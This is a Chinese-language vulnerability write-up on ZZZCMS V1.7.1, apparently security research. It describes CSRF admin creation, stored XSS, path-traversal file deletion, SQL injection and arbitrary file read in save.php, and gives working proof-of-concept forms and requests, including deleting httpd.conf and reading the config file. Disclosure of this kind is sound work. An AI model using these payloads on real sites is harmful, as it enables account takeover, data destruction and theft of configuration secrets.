ZZZCMS V1.7.1 CSRF漏洞

漏洞概述

​ 漏洞存在的位置/adminxxx/save.php第456-508行。注:xxx为任意随机三位数字。

img

img

​ 可以看到save_user()函数接受了管理员的信息参数准备注册。在第479行处,仅对传入的数据是否符合格式和是否重复进行检查。如果满足格式并且不和数据库中的数据重复,就在488行进行插入数据库。当act变量值为user时,会调用save_user()函数。又由于该文件对是否登录进行了判断。因此,此处为一个CSRF漏洞,只需构造好恶意页面,诱使管理员访问,就可以任意添加一个管理员帐号。

POC

1
2
3
4
5
6
7
8
9
10
11
<html>
<form action='http://127.0.0.1/zzz17/admin261/save.php?act=user' method="post">
<input type='hidden' name='u_gid' value='2'/>
<input type='hidden' name='username' value='zhhhy'/>
<input type='hidden' name='password' value='6192288a'/>
<input type='hidden' name='truename' value='zhhhy'/>
<input type='hidden' name='mobile' value='15260131659'/>
<input type='hidden' name='face' value='/zzz/plugins/face/face01.png'/>
<input type='submit' value='点击有惊喜'/>
</form>
</html>

当管理员在登录后台以后,点击该按钮就会发送一条POST请求增加一个管理员。

可以看到,回显显示了保存成功。我们在后台处可以看到确实增加了一个管理员,并且可以登录成功。

ZZZCMS V1.7.1 存储型XSS漏洞

漏洞概述

​ 漏洞存在的位置/adminxxx/save.php第806-824行。 注:xxx为随机三位数字。

​ 可以看到,在代码的第808行,进行了路径的判断,是否为后台目录文件。在代码的第811行,由白名单限制了只能修改指定文件夹里的文件。

​ 观察目录可以发现,template目录底下有许多的JS文件修改。如果我们修改其中被引用的JS文件,那么就可以造成一个存储型的XSS攻击。
​ 由于在zzz_file.php文件中的create_file()函数中,对可修改文件的后缀做了限制。因此,无法利用PHP执行任意代码。

POC

1
2
3
4
5
6
<html>
<form action='http://127.0.0.1/zzz17/admin261/save.php?act=editfile' method="post">
<input type='hidden' name='file' value='/zzz17/template/pc/cn2016/js/img.js'/>
<input type='hidden' name='filetext' value='alert(“zhhhy”);'/>
<input type='submit' value='点击有惊喜'/>
</form> </html>

​ 当管理员在登录后台以后,点击该按钮就会发送一条POST请求修改/zzz17/template/pc/cn2016/js/img.js文件

可以看到,回显显示了保存成功。我们观察一下/zzz17/template/pc/cn2016/js/img.js 文件。可以发现代码成功被注入进去了。我们只要找到引用了这个文件的页面即可触发XSS。

​ 可以看到此处引用了/zzz17/template/pc/cn2016/js/img.js 文件。

​ 第一次打开页面加载JS文件时会触发弹窗,效果如下:

ZZZCMS V1.7.1后台任意文件删除漏洞

漏洞概述

​ 漏洞存在的位置/adminxxx/save.php第825-831行。 注:xxx为随机三位数字。

​ 可以看到在第828处定义了一个白名单,只允许这些文件夹里的文件被修改。但是由于未对跳转符号../进行过滤,导致可以进行目录穿越。而831行处调用的del_file()函数限制了我们不能删除php等文件。但是我们可以通过目录穿越的方式,删除掉其他系统文件,例如Apache的配置文件httpd.conf。 并且由于该函数未进行CSRF的保护,因此还可以通过CSRF来完成这个攻击。

POC

​ 先看看我们Apache的配置文件的路径为:D:\phpstudy\PHPTutorial\Apache\conf

19

判断好路径以后,进行路径穿越构造如下数据包:

1
2
POST http://127.0.0.1/zzz17/admin/save.php?act=delfile
path=/zzz17/upload/adimg/../../../../Apache/conf/httpd.conf

​ 发送数据包之后,再看文件,发现httpd.conf被删除了。此时重启Apache是无法启动的。

21

ZZZCMS V1.7.1后台SQL注入漏洞

漏洞概述

​ 漏洞存在的位置/adminxxx/save.php第344-378行。 注:xxx为随机三位数字。

​ 可以看到在第371行处调用了dp_update()函数。第二个参数采用字符串拼接的方式传入,而且由于传入的变量$tid未做强制类型转换,并且在SQL语句中未使用单引号进行包裹,因此是一处数字型注入。

POC

前提条件:获得管理员帐号登录后台。并且tag管理中至少需要一条数据。

使用hackbar构造好post请求

​ 发送请求,可以看到显示保存成功了。 由于 or 1=1是一定成立的,所以即便tid=-1不存在也能修改成功。

25

​ 再次访问tag管理页面,可以发现数据被修改了。

26

ZZZCMS V1.7.1后台任意文件读取漏洞

漏洞概述

​ 在后台可以查看缓存文件的内容,由于未对../以及后缀名的限制,导致可以读取任意PHP文件。

1561713153538

可以在下图看到config.php的内容被读取出来了。

POC

1
GET http://127.0.0.1/zzz17/admin/?module=templateedit&type=/zzz17/runtime/cache/admin/../../../config/zzz_config.php